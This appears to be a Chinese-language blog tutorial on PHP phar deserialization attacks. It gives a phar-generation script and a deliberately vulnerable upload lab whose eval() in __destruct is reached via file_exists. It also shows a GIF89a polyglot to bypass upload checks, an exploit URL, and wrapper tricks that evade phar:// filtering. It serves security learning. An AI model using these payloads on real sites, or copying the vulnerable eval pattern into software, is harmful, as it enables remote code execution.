前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >反序列化之Phar流

反序列化之Phar流

作者头像
偏有宸机
发布2020-11-04 10:54:37
1.2K0
发布2020-11-04 10:54:37
举报
文章被收录于专栏:宸机笔记宸机笔记

Phar就是php的压缩文档 利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。 一般来说,文件操作都是可以触发phar反序列化的。

  • 可以上传Phar文件 如file_exists()fopen()file_get_contents()file()等文件操作的函数
  • 有可以利用的魔术方法 如__destruct()_wa keup()
  • 文件操作函数的参数可控,且/phar 字符未被过滤

phar结构

phar由四个部分组成,分别是stubmanifest describing the contentsthe file contents[optional] a signature for verifying Phar integrity (phar file format only),以下是对详细的介绍:

  • stub 格式为 xxx;<?php xxx; __HALT_COMPILER();?> 前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar。
  • Manifest 压缩文件的属性等信息,以序列化存储; phar文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data序列化信息也在这一部分中。是漏洞利用的关键点。
  • contents 被压缩的文件,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
  • signature 签名,放在文件末尾

文件函数

部分文件函数 通过phar://伪协议解析phar文件时都会使meta-data反序列化

受影响的函数有:

fileatime

file_exists

file_get_contents

file_put_contents

file

filegroup

fopen

fileinode

fileowner

fileperms

is_dir

is_file

is_link

is_executable

is_readable

is_writeable

is_wirtble

parse_ini_file

copy

unlink

stat

readfile

info_file

实验1

先生成phar文件

代码语言:javascript
复制
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //生成的phar文件,调用后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data = "da1sy";				
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
image-20200610134126768
image-20200610134126768
  1. 可以看到$o的数据已经被序列化存储到phar.phar中了
  2. 然后使用phar流对 phar包进行反序列化
代码语言:javascript
复制
	<?php
	class TestObject{
	function __destruct()
    {
    	echo $this -> data; 
    }
	}
	include('phar://phar.phar');
?>
  1. 输出信息
image-20200610134405678
image-20200610134405678

实验2

源码

Upload_file.html

代码语言:javascript
复制
<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    phar反序列化
</head>
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

Upload_file.php

代码语言:javascript
复制
<?php
$tmp_file_location='';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      $tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

file_un.php

代码语言:javascript
复制
<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);
?>

解析

从代码上可以看出是让上传一张gif的格式的文件,这点我们只要在phar的文件头加上GIF89a 即可绕过。

然后就是upload_un.php里的内容,因为file_exists函数会自动为phar文件进行反序列化,所以便会触发__destruct魔法函数,进而造成命令执行

使用下面代码先生成phar文件

代码语言:javascript
复制
<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

文件头记得要以GIF89a开头,之后后缀改为gif以绕过对文件类型的限制

image-20200610142439561
image-20200610142439561

最后访问upload_un.php页面,并对filename传参如下:

/file_un.php?filename=phar://upload_file/phar.gif

image-20200610142604267
image-20200610142604267

绕过对phar头的过滤

方法1

代码语言:javascript
复制
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);

方法2

代码语言:javascript
复制
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

学习链接

  1. https://www.cnblogs.com/zzjdbk/p/13030571.html
  2. https://www.freebuf.com/column/198945.html
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-06-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • phar结构
  • 文件函数
  • 实验1
  • 实验2
    • 源码
      • Upload_file.html
      • Upload_file.php
      • file_un.php
    • 解析
    • 绕过对phar头的过滤
      • 方法1
        • 方法2
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档